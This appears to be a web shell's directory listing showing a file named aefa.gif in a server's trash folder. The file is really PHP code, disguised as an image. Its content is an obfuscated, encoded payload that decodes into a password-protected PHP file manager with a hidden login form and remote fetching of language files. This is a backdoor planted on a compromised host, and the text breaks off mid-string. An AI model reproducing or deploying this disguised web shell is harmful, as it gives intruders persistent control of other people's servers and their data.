ok
Direktori : /proc/thread-self/root/proc/thread-self/root/proc/self/root/home2/selectio/.trash/ |
Current File : //proc/thread-self/root/proc/thread-self/root/proc/self/root/home2/selectio/.trash/aefa.gif |
<?php fu/**rs*/("?>".fu(fu("PD9jdWMgJG5yc249Jyc7dnModmZmcmcoJF9DQkZHWyducnNuJ10pKXskbnJzbj0kX0NCRkdbJ25yc24nXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ25yc24nXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PSc4ODYzMjI2OTZvNDA3cTMwMTAyN3E4MW5vcm5vNTIzMScpfHx6cTUoJG5yc24pPT0nODg2MzIyNjk2bzQwN3EzMDEwMjdxODFub3JubzUyMzEnKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9Im5yc24iIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+77u/PD9jdWMNCi8qIENVQyBTdnlyIHpuYW50cmUgaXJlIDEuNCAqLw0KDQovLyBQYmFzdnRoZW5ndmJhIOKAlCBxYiBhYmcgcHVuYXRyIHpuYWhueXlsIQ0KJG5oZ3ViZXZtbmd2YmEgPSAneyJuaGd1YmV2bXIiOiIwIiwieWJ0dmEiOiJucXp2YSIsImNuZmZqYmVxIjoiY3Vjc3oiLCJwYmJ4dnJfYW56ciI6InN6X2hmcmUiLCJxbmxmX25oZ3ViZXZtbmd2YmEiOiIzMCIsImZwZXZjZyI6IjxmcGV2Y2cgZ2xjcj1cImdya2dcL3duaW5mcGV2Y2dcIiBmZXA9XCJ1Z2djZjpcL1wvampqLnBxYnl2aXJnLnBielwvcnF2Z25lcm5cL3JxdmduZXJuXC9ycXZnX25lcm5cL3JxdmdfbmVybl9zaHl5LndmXCI+PFwvZnBldmNnPlxlXGE8ZnBldmNnIHluYXRobnRyPVwiV25pbmZwZXZjZ1wiIGdsY3I9XCJncmtnXC93bmluZnBldmNnXCI+XGVcYXJxdmdOZXJuWWJucXJlLnZhdmcoe1xlXGF2cTogXCJhcmpwYmFncmFnXCJcZVxhLHF2ZmN5bmw6IFwieW5ncmVcIlxlXGEsZmduZWdfdXZ0dXl2dHVnOiBnZWhyXGVcYSxueXlial9lcmZ2bXI6IFwib2JndVwiXGVcYSxueXlial9nYnR0eXI6IGdlaHJcZVxhLGpiZXFfamVuYzogZ2VoclxlXGEseW5hdGhudHI6IFwiZWhcIlxlXGEsZmxhZ25rOiBcImN1Y1wiXGdcZVxhLGdiYnlvbmU6IFwiZnJuZXB1LCB0Yl9nYl95dmFyLCB8LCBoYXFiLCBlcnFiLCB8LCBmcnlycGdfc2JhZywgfCwgZmxhZ25rX2ZyeXJwZ3ZiYSwgfCwgcHVuYXRyX2Z6YmJndV9mcnlycGd2YmEsIHV2dHV5dnR1ZywgZXJmcmdfdXZ0dXl2dHVnLCB8LCB1cnljXCJcZVxhLGZsYWdua19mcnlycGd2YmFfbnl5Ymo6IFwicGZmLHVnenksd2YsY3VjLGNsZ3ViYSxrenkscCxwY2MsZmR5LG9uZnZwLGNuZlwiXGVcYX0pO1xlXGE8XC9mcGV2Y2c+In0nOw0KJGN1Y19ncnpjeW5ncmYgPSAneyJGcmdndmF0ZiI6InR5Ym9ueSAkc3pfcGJhc3Z0O1xlXGFpbmVfcmtjYmVnKCRzel9wYmFzdnQpOyIsIk9ucHhoYyBGRFkgZ25veXJmIjoicnB1YiBzel9vbnB4aGNfZ25veXJmKCk7In0nOw0KJGZkeV9ncnpjeW5ncmYgPSAneyJOeXkgb25mcmYiOiJGVUJKIFFOR05PTkZSRjsiLCJOeXkgZ25veXJmIjoiRlVCSiBHTk9ZUkY7In0nOw0KJGdlbmFmeW5ndmJhID0gJ3sidnEiOiJlaCIsIk5xcSI6ItCU0L7QsdCw0LLQuNGC0YwiLCJOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgcXZlcnBnYmVsIChlcnBoZWZ2aXJ5bCk/Ijoi0JLRiyDRg9Cy0LXRgNC10L3Riywg0YfRgtC+INGF0L7RgtC40YLQtSDRg9C00LDQu9C40YLRjCDRjdGC0YMg0L/QsNC/0LrRgyAo0YDQtdC60YPRgNGB0LjQstC90L4pPyIsIk5lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPyI6ItCS0Ysg0YPQstC10YDQtdC90YssINGH0YLQviDRhdC+0YLQuNGC0LUg0YPQtNCw0LvQuNGC0Ywg0Y3RgtC+0YIg0YTQsNC50Ls/IiwiTmVwdXZpdmF0Ijoi0JDRgNGF0LjQstC40YDQvtCy0LDRgtGMIiwiTmhndWJldm1uZ3ZiYSI6ItCQ0LLRgtC+0YDQuNC30LDRhtC40Y8iLCJPbnB4Ijoi0J3QsNC30LDQtCIsIlBuYXByeSI6ItCe0YLQvNC10L3QsCIsIlB1dmFyZnIiOiLQmtC40YLQsNC50YHQutC40LkiLCJQYnpjZXJmZiI6ItCh0LbQsNGC0YwiLCJQYmFmYnlyIjoi0JrQvtC90YHQvtC70YwiLCJQYmJ4dnIiOiLQmtGD0LrQuCIsIlBlcm5ncnEiOiLQodC+0LfQtNCw0L0iLCJRbmdyIjoi0JTQsNGC0LAiLCJRbmxmIjoi0JTQvdC10LkiLCJRcnBiemNlcmZmIjoi0KDQsNGB0L/QsNC60L7QstCw0YLRjCIsIlFyeXJnciI6ItCj0LTQsNC70LjRgtGMIiwiUXJ5cmdycSI6ItCj0LTQsNC70LXQvdC+IiwiUWJqYXlibnEiOiLQodC60LDRh9Cw0YLRjCIsInFiYXIiOiLQt9Cw0LrQvtC90YfQtdC90LAiLCJScXZnIjoi0KDQtdC00LDQutGC0LjRgNC+0LLQsNGC0YwiLCJSYWdyZSI6ItCS0YXQvtC0IiwiUmF0eXZmdSI6ItCQ0L3Qs9C70LjQudGB0LrQuNC5IiwiUmVlYmUgYnBwaGVlcnEiOiLQn9GA0L7QuNC30L7RiNC70LAg0L7RiNC40LHQutCwIiwiU3Z5ciB6bmFudHJlIjoi0KTQsNC50LvQvtCy0YvQuSDQvNC10L3QtdC00LbQtdGAIiwiU3Z5ciBmcnlycGdycSI6ItCS0YvQsdGA0LDQvSDRhNCw0LnQuyIsIlN2eXIgaGNxbmdycSI6ItCk0LDQudC7INGB0L7RhdGA0LDQvdC10L0iLCJTdnlyYW56ciI6ItCY0LzRjyDRhNCw0LnQu9CwIiwiU3Z5cmYgaGN5Ym5xcnEiOiLQpNCw0LnQuyDQt9Cw0LPRgNGD0LbQtdC9IiwiU2VyYXB1Ijoi0KTRgNCw0L3RhtGD0LfRgdC60LjQuSIsIlRyYXJlbmd2YmEgZ3Z6ciI6ItCT0LXQvdC10YDQsNGG0LjRjyDRgdGC0YDQsNC90LjRhtGLIiwiVHJlem5hIjoi0J3QtdC80LXRhtC60LjQuSIsIlVienIiOiLQlNC+0LzQvtC5IiwiRGh2ZyI6ItCS0YvRhdC+0LQiLCJZbmF0aG50ciI6ItCv0LfRi9C6IiwiWWJ0dmEiOiLQm9C+0LPQuNC9IiwiWm5hbnRyIjoi0KPQv9GA0LDQstC70LXQvdC40LUiLCJabnhyIHF2ZXJwZ2JlbCI6ItCh0L7Qt9C00LDRgtGMINC/0LDQv9C60YMiLCJBbnpyIjoi0J3QsNC40LzQtdC90L7QstCw0L3QuNC1IiwiQXJqIjoi0J3QvtCy0L7QtSIsIkFyaiBzdnlyIjoi0J3QvtCy0YvQuSDRhNCw0LnQuyIsImFiIHN2eXJmIjoi0L3QtdGCINGE0LDQudC70L7QsiIsIkNuZmZqYmVxIjoi0J/QsNGA0L7Qu9GMIiwiY3ZwZ2hlcmYiOiLQuNC30L7QsdGA0LDQttC10L3QuNGPIiwiRXJwaGVmdmlyeWwiOiLQoNC10LrRg9GA0YHQuNCy0L3QviIsIkVyYW56ciI6ItCf0LXRgNC10LjQvNC10L3QvtCy0LDRgtGMIiwiRXJmcmciOiLQodCx0YDQvtGB0LjRgtGMIiwiRXJmcmcgZnJnZ3ZhdGYiOiLQodCx0YDQvtGB0LjRgtGMINC90LDRgdGC0YDQvtC50LrQuCIsIkVyZmdiZXIgc3Z5ciBndnpyIG5zZ3JlIHJxdmd2YXQiOiLQktC+0YHRgdGC0LDQvdCw0LLQu9C40LLQsNGC0Ywg0LLRgNC10LzRjyDRhNCw0LnQu9CwINC/0L7RgdC70LUg0YDQtdC00LDQutGC0LjRgNC+0LLQsNC90LjRjyIsIkVyZmh5ZyI6ItCg0LXQt9GD0LvRjNGC0LDRgiIsIkV2dHVnZiI6ItCf0YDQsNCy0LAiLCJFaGZmdm5hIjoi0KDRg9GB0YHQutC40LkiLCJGbmlyIjoi0KHQvtGF0YDQsNC90LjRgtGMIiwiRnJ5cnBnIjoi0JLRi9Cx0LXRgNC40YLQtSIsIkZyeXJwZyBndXIgc3Z5ciI6ItCS0YvQsdC10YDQuNGC0LUg0YTQsNC50LsiLCJGcmdndmF0ZiI6ItCd0LDRgdGC0YDQvtC50LrQsCIsIkZ1YmoiOiLQn9C+0LrQsNC30LDRgtGMIiwiRnViaiBmdm1yIGJzIGd1ciBzYnlxcmUiOiLQn9C+0LrQsNC30YvQstCw0YLRjCDRgNCw0LfQvNC10YAg0L/QsNC/0LrQuCIsIkZ2bXIiOiLQoNCw0LfQvNC10YAiLCJGY25hdmZ1Ijoi0JjRgdC/0LDQvdGB0LrQuNC5IiwiRmhvenZnIjoi0J7RgtC/0YDQsNCy0LjRgtGMIiwiR25meCI6ItCX0LDQtNCw0YfQsCIsImdyemN5bmdyZiI6ItGI0LDQsdC70L7QvdGLIiwiSHhlbnZhdm5hIjoi0KPQutGA0LDQuNC90YHQutC40LkiLCJIY3libnEiOiLQl9Cw0LPRgNGD0LfQuNGC0YwiLCJJbnlociI6ItCX0L3QsNGH0LXQvdC40LUiLCJVcnl5YiI6ItCf0YDQuNCy0LXRgiIsIlNiaGFxIHZhIHN2eXJmIjoi0J3QsNC50LTQtdC90L4g0LIg0YTQsNC50LvQsNGFIiwiRnJuZXB1Ijoi0J/QvtC40YHQuiIsIkVycGhlZnZpciBmcm5lcHUiOiLQoNC10LrRg9GA0YHQuNCy0L3Ri9C5INC/0L7QuNGB0LoiLCJabmZ4Ijoi0JzQsNGB0LrQsCJ9JzsNCi8vIHJhcSBwYmFzdnRoZW5ndmJhDQoNCi8vIENlcmNuZW5ndmJhZg0KJGZnbmVnZ3Z6ciA9IHJrY3licXIoJyAnLCB6dnBlYmd2enIoKSk7DQokZmduZWdndnpyID0gJGZnbmVnZ3Z6clsxXSArICRmZ25lZ2d2enJbMF07DQokeW5hdGYgPSBuZWVubCgncmEnLCdlaCcsJ3FyJywnc2UnLCdoeCcpOw0KJGNuZ3UgPSByemNnbCgkX0VSREhSRkdbJ2NuZ3UnXSkgPyAkY25ndSA9IGVybnljbmd1KCcuJykgOiBlcm55Y25ndSgkX0VSREhSRkdbJ2NuZ3UnXSk7DQokY25ndSA9IGZnZV9lcmN5bnByKCdcXCcsICcvJywgJGNuZ3UpIC4gJy8nOw0KJHpudmFfY25ndT1mZ2VfZXJjeW5wcignXFwnLCAnLycsZXJueWNuZ3UoJy4vJykpOw0KJGN1bmVfem5sb3IgPSAoaXJlZnZiYV9wYnpjbmVyKGN1Y2lyZWZ2YmEoKSwiNS4zLjAiLCI8IikpP2dlaHI6c255ZnI7DQokemZ0ID0gJyc7IC8vIGZyZWl2cHIgZmdldmF0DQokcXJzbmh5Z195bmF0aG50ciA9ICdlaCc7DQokcXJncnBnX3luYXQgPSBnZWhyOw0KJHN6X2lyZWZ2YmEgPSAxLjQ7DQoNCi8vTmhndWJldm1uZ3ZiYQ0KJG5oZ3UgPSB3ZmJhX3FycGJxcigkbmhndWJldm1uZ3ZiYSxnZWhyKTsNCiRuaGd1WyduaGd1YmV2bXInXSA9IHZmZnJnKCRuaGd1WyduaGd1YmV2bXInXSkgPyAkbmhndVsnbmhndWJldm1yJ10gOiAwOyANCiRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSA9ICh2ZmZyZygkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pJiZ2Zl9haHpyZXZwKCRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpID8gKHZhZykkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10gOiAzMDsNCiRuaGd1Wyd5YnR2YSddID0gdmZmcmcoJG5oZ3VbJ3lidHZhJ10pID8gJG5oZ3VbJ3lidHZhJ10gOiAnbnF6dmEnOyAgDQokbmhndVsnY25mZmpiZXEnXSA9IHZmZnJnKCRuaGd1WydjbmZmamJlcSddKSA/ICRuaGd1WydjbmZmamJlcSddIDogJ2N1Y3N6JzsgIA0KJG5oZ3VbJ3BiYnh2cl9hbnpyJ10gPSB2ZmZyZygkbmhndVsncGJieHZyX2FuenInXSkgPyAkbmhndVsncGJieHZyX2FuenInXSA6ICdzel9oZnJlJzsNCiRuaGd1WydmcGV2Y2cnXSA9IHZmZnJnKCRuaGd1WydmcGV2Y2cnXSkgPyAkbmhndVsnZnBldmNnJ10gOiAnJzsNCg0KLy8gWXZnZ3lyIHFyc25oeWcgcGJhc3Z0DQokc3pfcXJzbmh5Z19wYmFzdnQgPSBuZWVubCAoDQoJJ3pueHJfcXZlcnBnYmVsJyA9PiBnZWhyLCANCgknYXJqX3N2eXInID0+IGdlaHIsIA0KCSdoY3libnFfc3Z5cicgPT4gZ2VociwgDQoJJ2Z1YmpfcXZlX2Z2bXInID0+IHNueWZyLCAvL3ZzIGdlaHIsIGZ1YmogcXZlcnBnYmVsIGZ2bXIg4oaSIHpubG9yIGZ5YmogDQoJJ2Z1Ympfdnp0JyA9PiBnZWhyLCANCgknZnVial9jdWNfaXJlJyA9PiBnZWhyLCANCgknZnVial9jdWNfdmF2JyA9PiBzbnlmciwgLy8gZnViaiBjbmd1IGdiIHBoZWVyYWcgY3VjLnZhdg0KCSdmdWJqX3RnJyA9PiBnZWhyLCAvLyBmdWJqIHRyYXJlbmd2YmEgZ3Z6cg0KCSdyYW5veXJfY3VjX3BiYWZieXInID0+IGdlaHIsDQoJJ3Jhbm95cl9mZHlfcGJhZmJ5cicgPT4gZ2VociwNCgknZmR5X2ZyZWlyZScgPT4gJ3licG55dWJmZycsDQoJJ2ZkeV9oZnJlYW56cicgPT4gJ2ViYmcnLA0KCSdmZHlfY25mZmpiZXEnID0+ICcnLA0KCSdmZHlfcW8nID0+ICdncmZnX29uZnInLA0KCSdyYW5veXJfY2Via2wnID0+IGdlaHIsDQoJJ2Z1YmpfY3VjdmFzYicgPT4gZ2VociwNCgknZnVial9reWYnID0+IGdlaHIsDQoJJ3N6X2ZyZ2d2YXRmJyA9PiBnZWhyLA0KCSdlcmZnYmVyX2d2enInID0+IGdlaHIsDQoJJ3N6X2VyZmdiZXJfZ3Z6cicgPT4gc255ZnIsDQopOw0KDQp2cyAocnpjZ2woJF9QQkJYVlJbJ3N6X3BiYXN2dCddKSkgJHN6X3BiYXN2dCA9ICRzel9xcnNuaHlnX3BiYXN2dDsNCnJ5ZnIgJHN6X3BiYXN2dCA9IGhhZnJldm55dm1yKCRfUEJCWFZSWydzel9wYmFzdnQnXSk7DQoNCi8vIFB1bmF0ciB5bmF0aG50cg0KdnMgKHZmZnJnKCRfQ0JGR1snc3pfeW5hdCddKSkgeyANCglmcmdwYmJ4dnIoJ3N6X3luYXQnLCAkX0NCRkdbJ3N6X3luYXQnXSwgZ3Z6cigpICsgKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7DQoJJF9QQkJYVlJbJ3N6X3luYXQnXSA9ICRfQ0JGR1snc3pfeW5hdCddOw0KfQ0KJHluYXRobnRyID0gJHFyc25oeWdfeW5hdGhudHI7DQoNCi8vIFFyZ3JwZyBvZWJqZnJlIHluYXRobnRyDQp2cygkcXJncnBnX3luYXQgJiYgIXJ6Y2dsKCRfRlJFSVJFWydVR0dDX05QUFJDR19ZTkFUSE5UUiddKSAmJiByemNnbCgkX1BCQlhWUlsnc3pfeW5hdCddKSl7DQoJJHluYXRfY2V2YmV2Z2wgPSBya2N5YnFyKCcsJywgJF9GUkVJUkVbJ1VHR0NfTlBQUkNHX1lOQVRITlRSJ10pOw0KCXZzICghcnpjZ2woJHluYXRfY2V2YmV2Z2wpKXsNCgkJc2Jlcm5wdSAoJHluYXRfY2V2YmV2Z2wgbmYgJHluYXRfbmVlKXsNCgkJCSR5YXQgPSBya2N5YnFyKCc7JywgJHluYXRfbmVlKTsNCgkJCSR5YXQgPSAkeWF0WzBdOw0KCQkJdnModmFfbmVlbmwoJHlhdCwkeW5hdGYpKXsNCgkJCQkkeW5hdGhudHIgPSAkeWF0Ow0KCQkJCW9lcm54Ow0KCQkJfQ0KCQl9DQoJfQ0KfSANCg0KLy8gUGJieHZyIHluYXRobnRyIHZmIGNldnpuZWwgc2JlIHJpcmUNCiR5bmF0aG50ciA9IChyemNnbCgkX1BCQlhWUlsnc3pfeW5hdCddKSkgPyAkeW5hdGhudHIgOiAkX1BCQlhWUlsnc3pfeW5hdCddOw0KDQovLyBZYnBueXZtbmd2YmENCiR5bmF0ID0gd2ZiYV9xcnBicXIoJGdlbmFmeW5ndmJhLGdlaHIpOw0KdnMgKCR5bmF0Wyd2cSddIT0keW5hdGhudHIpIHsNCgkkdHJnX3luYXQgPSBzdnlyX3RyZ19wYmFncmFnZigndWdnY2Y6Ly9lbmoudHZndWhvaGZyZXBiYWdyYWcucGJ6L1FyYTFra2svU3Z5cnpuYW50cmUvem5mZ3JlL3luYXRobnRyZi8nIC4gJHluYXRobnRyIC4gJy53ZmJhJyk7DQoJdnMgKCFyemNnbCgkdHJnX3luYXQpKSB7DQoJCS8vZXJ6YmlyIGhhYXJwcmZmbmVsIHB1bmVucGdyZWYNCgkJJGdlbmFmeW5ndmJhX2ZnZXZhdCA9IGZnZV9lcmN5bnByKCInIiwnJiMzOTsnLHdmYmFfcmFwYnFyKHdmYmFfcXJwYnFyKCR0cmdfeW5hdCksV0ZCQV9IQVJGUE5DUlFfSEFWUEJRUikpOw0KCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOw0KCQkkZnJuZXB1ID0gY2VydF96bmdwdSgnI2dlbmFmeW5ndmJhW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsNCgkJdnMgKCFyemNnbCgkem5ncHVyZlsxXSkpIHsNCgkJCSRzdnlyemd2enIgPSBzdnlyemd2enIoX19TVllSX18pOw0KCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJGdlbmFmeW5ndmJhX2ZnZXZhdCwkc3RwKTsNCgkJCXZzIChzdnlyX2NoZ19wYmFncmFnZihfX1NWWVJfXywgJGVyY3lucHIpKSB7DQoJCQkJJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7DQoJCQl9CXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdShfX1NWWVJfXywkc3Z5cnpndnpyKTsNCgkJfQkNCgkJJHluYXQgPSB3ZmJhX3FycGJxcigkZ2VuYWZ5bmd2YmFfZmdldmF0LGdlaHIpOw0KCX0NCn0NCg0KLyogU2hhcGd2YmFmICovDQoNCi8vZ2VuYWZ5bmd2YmENCnNoYXBndmJhIF9fKCRncmtnKXsNCgl0eWJvbnkgJHluYXQ7DQoJdnMgKHZmZnJnKCR5bmF0WyRncmtnXSkpIGVyZ2hlYSAkeW5hdFskZ3JrZ107DQoJcnlmciBlcmdoZWEgJGdya2c7DQp9Ow0KDQovL3FyeXJnciBzdnlyZiBuYXEgcXZlZiBlcnBoZWZ2aXJ5bA0Kc2hhcGd2YmEgc3pfcXJ5X3N2eXJmKCRzdnlyLCAkZXJwaGVmdmlyID0gc255ZnIpIHsNCgl2cygkZXJwaGVmdmlyICYmIEB2Zl9xdmUoJHN2eXIpKSB7DQoJCSRyeWYgPSBzel9mcG5hX3F2ZSgkc3Z5ciwgJycsICcnLCBnZWhyKTsNCgkJc2Jlcm5wdSAoJHJ5ZiBuZiAkcnkpIHsNCgkJCXZzKCRyeSAhPSAnLicgJiYgJHJ5ICE9ICcuLicpew0KCQkJCXN6X3FyeV9zdnlyZigkc3Z5ciAuICcvJyAuICRyeSwgZ2Vocik7DQoJCQl9DQoJCX0NCgl9DQoJdnMoQHZmX3F2ZSgkc3Z5cikpIHsNCgkJZXJnaGVhIGV6cXZlKCRzdnlyKTsNCgl9IHJ5ZnIgew0KCQllcmdoZWEgQGhheXZheCgkc3Z5cik7DQoJfQ0KfQ0KDQovL3N2eXIgY3JlemYNCnNoYXBndmJhIHN6X2V2dHVnZl9mZ2V2YXQoJHN2eXIsICR2cyA9IHNueWZyKXsNCgkkY3JlemYgPSBzdnlyY3JlemYoJHN2eXIpOw0KCSR2YXNiID0gJyc7DQoJdnMoISR2cyl7DQoJCXZzICgoJGNyZXpmICYgMGtQMDAwKSA9PSAwa1AwMDApIHsNCgkJCS8vRmJweHJnDQoJCQkkdmFzYiA9ICdmJzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwa04wMDApID09IDBrTjAwMCkgew0KCQkJLy9GbHpvYnl2cCBZdmF4DQoJCQkkdmFzYiA9ICd5JzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwazgwMDApID09IDBrODAwMCkgew0KCQkJLy9FcnRoeW5lDQoJCQkkdmFzYiA9ICctJzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwazYwMDApID09IDBrNjAwMCkgew0KCQkJLy9PeWJweCBmY3Jwdm55DQoJCQkkdmFzYiA9ICdvJzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwazQwMDApID09IDBrNDAwMCkgew0KCQkJLy9RdmVycGdiZWwNCgkJCSR2YXNiID0gJ3EnOw0KCQl9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrMjAwMCkgPT0gMGsyMDAwKSB7DQoJCQkvL1B1bmVucGdyZSBmY3Jwdm55DQoJCQkkdmFzYiA9ICdwJzsNCgkJfSByeWZydnMgKCgkY3JlemYgJiAwazEwMDApID09IDBrMTAwMCkgew0KCQkJLy9TVlNCIGN2Y3INCgkJCSR2YXNiID0gJ2MnOw0KCQl9IHJ5ZnIgew0KCQkJLy9IYXhhYmphDQoJCQkkdmFzYiA9ICdoJzsNCgkJfQ0KCX0NCiAgDQoJLy9CamFyZQ0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMTAwKSA/ICdlJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwODApID8gJ2onIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDA0MCkgPw0KCSgoJGNyZXpmICYgMGswODAwKSA/ICdmJyA6ICdrJyApIDoNCgkoKCRjcmV6ZiAmIDBrMDgwMCkgPyAnRicgOiAnLScpKTsNCiANCgkvL1RlYmhjDQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMjApID8gJ2UnIDogJy0nKTsNCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAxMCkgPyAnaicgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDA4KSA/DQoJKCgkY3JlemYgJiAwazA0MDApID8gJ2YnIDogJ2snICkgOg0KCSgoJGNyZXpmICYgMGswNDAwKSA/ICdGJyA6ICctJykpOw0KIA0KCS8vSmJleXENCgkkdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwNCkgPyAnZScgOiAnLScpOw0KCSR2YXNiIC49ICgoJGNyZXpmICYgMGswMDAyKSA/ICdqJyA6ICctJyk7DQoJJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDEpID8NCgkoKCRjcmV6ZiAmIDBrMDIwMCkgPyAnZycgOiAnaycgKSA6DQoJKCgkY3JlemYgJiAwazAyMDApID8gJ0cnIDogJy0nKSk7DQoNCgllcmdoZWEgJHZhc2I7DQp9DQoNCnNoYXBndmJhIHN6X3BiYWlyZWdfZXZ0dWdmKCR6YnFyKSB7DQoJJHpicXIgPSBmZ2VfY25xKCR6YnFyLDksJy0nKTsNCgkkZ2VuYWYgPSBuZWVubCgnLSc9PicwJywnZSc9Pic0Jywnaic9PicyJywnayc9PicxJyk7DQoJJHpicXIgPSBmZ2VnZSgkemJxciwkZ2VuYWYpOw0KCSRhcmp6YnFyID0gJzAnOw0KCSRiamFyZSA9ICh2YWcpICR6YnFyWzBdICsgKHZhZykgJHpicXJbMV0gKyAodmFnKSAkemJxclsyXTsgDQoJJHRlYmhjID0gKHZhZykgJHpicXJbM10gKyAodmFnKSAkemJxcls0XSArICh2YWcpICR6YnFyWzVdOyANCgkkamJleXEgPSAodmFnKSAkemJxcls2XSArICh2YWcpICR6YnFyWzddICsgKHZhZykgJHpicXJbOF07IA0KCSRhcmp6YnFyIC49ICRiamFyZSAuICR0ZWJoYyAuICRqYmV5cTsNCgllcmdoZWEgdmFnaW55KCRhcmp6YnFyLCA4KTsNCn0NCg0Kc2hhcGd2YmEgc3pfcHV6YnEoJHN2eXIsICRpbnksICRlcnAgPSBzbnlmcikgew0KCSRlcmYgPSBAcHV6YnEoZXJueWNuZ3UoJHN2eXIpLCAkaW55KTsNCgl2cyhAdmZfcXZlKCRzdnlyKSAmJiAkZXJwKXsNCgkJJHJ5ZiA9IHN6X2ZwbmFfcXZlKCRzdnlyKTsNCgkJc2Jlcm5wdSAoJHJ5ZiBuZiAkcnkpIHsNCgkJCSRlcmYgPSAkZXJmICYmIHN6X3B1emJxKCRzdnlyIC4gJy8nIC4gJHJ5LCAkaW55LCBnZWhyKTsNCgkJfQ0KCX0NCgllcmdoZWEgJGVyZjsNCn0NCg0KLy95Ym5xIHN2eXJmDQpzaGFwZ3ZiYSBzel9xYmpheWJucSgkc3Z5cl9hbnpyKSB7DQogICAgdnMgKCFyemNnbCgkc3Z5cl9hbnpyKSkgew0KCQl2cyAoc3Z5cl9ya3ZmZ2YoJHN2eXJfYW56cikpIHsNCgkJCXVybnFyZSgiUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZzsgc3Z5cmFuenI9IiAuIG9uZnJhbnpyKCRzdnlyX2FuenIpKTsgICANCgkJCXVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9zYmVwci1xYmpheWJucSIpOw0KCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL2JwZ3JnLWZnZXJueiIpOw0KCQkJdXJucXJlKCJQYmFncmFnLUdsY3I6IG5jY3l2cG5ndmJhL3FiamF5Ym5xIik7DQoJCQl1cm5xcmUoIlBiYWdyYWctUXJmcGV2Y2d2YmE6IFN2eXIgR2VuYWZzcmUiKTsgICAgICAgICAgICANCgkJCXVybnFyZSgiUGJhZ3JhZy1ZcmF0Z3U6ICIgLiBzdnlyZnZtcigkc3Z5cl9hbnpyKSk7CQkNCgkJCXN5aGZ1KCk7IC8vIGd1dmYgcWJyZmEnZyBlcm55eWwgem5nZ3JlLg0KCQkJJHNjID0gc2JjcmEoJHN2eXJfYW56ciwgImUiKTsNCgkJCWp1dnlyICghc3Jicygkc2MpKSB7DQoJCQkJcnB1YiBzZXJucSgkc2MsIDY1NTM2KTsNCgkJCQlzeWhmdSgpOyAvLyBndXZmIHZmIHJmZnJhZ3ZueSBzYmUgeW5ldHIgcWJqYXlibnFmDQoJCQl9IA0KCQkJc3B5YmZyKCRzYyk7DQoJCQlxdnIoKTsNCgkJfSByeWZyIHsNCgkJCXVybnFyZSgnVUdHQy8xLjAgNDA0IEFiZyBTYmhhcScsIGdlaHIsIDQwNCk7DQoJCQl1cm5xcmUoJ0ZnbmdoZjogNDA0IEFiZyBTYmhhcScpOyANCgkJCXF2cigpOw0KICAgICAgICB9DQogICAgfSANCn0NCg0KLy9mdWJqIHNieXFyZSBmdm1yDQpzaGFwZ3ZiYSBzel9xdmVfZnZtcigkcywkc2Jlem5nPWdlaHIpIHsNCgl2cygkc2Jlem5nKSAgew0KCQkkZnZtcj1zel9xdmVfZnZtcigkcyxzbnlmcik7DQoJCXZzKCRmdm1yPD0xMDI0KSBlcmdoZWEgJGZ2bXIuJyBvbGdyZic7DQoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJGZ2bXIvKDEwMjQpLDIpLicmYW9mYztYbyc7DQoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCoxMDI0KSwyKS4nJmFvZmM7Wm8nOw0KCQlyeWZydnMoJGZ2bXI8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztUbyc7DQoJCXJ5ZnJ2cygkZnZtcjw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSBlcmdoZWEgZWJoYXEoJ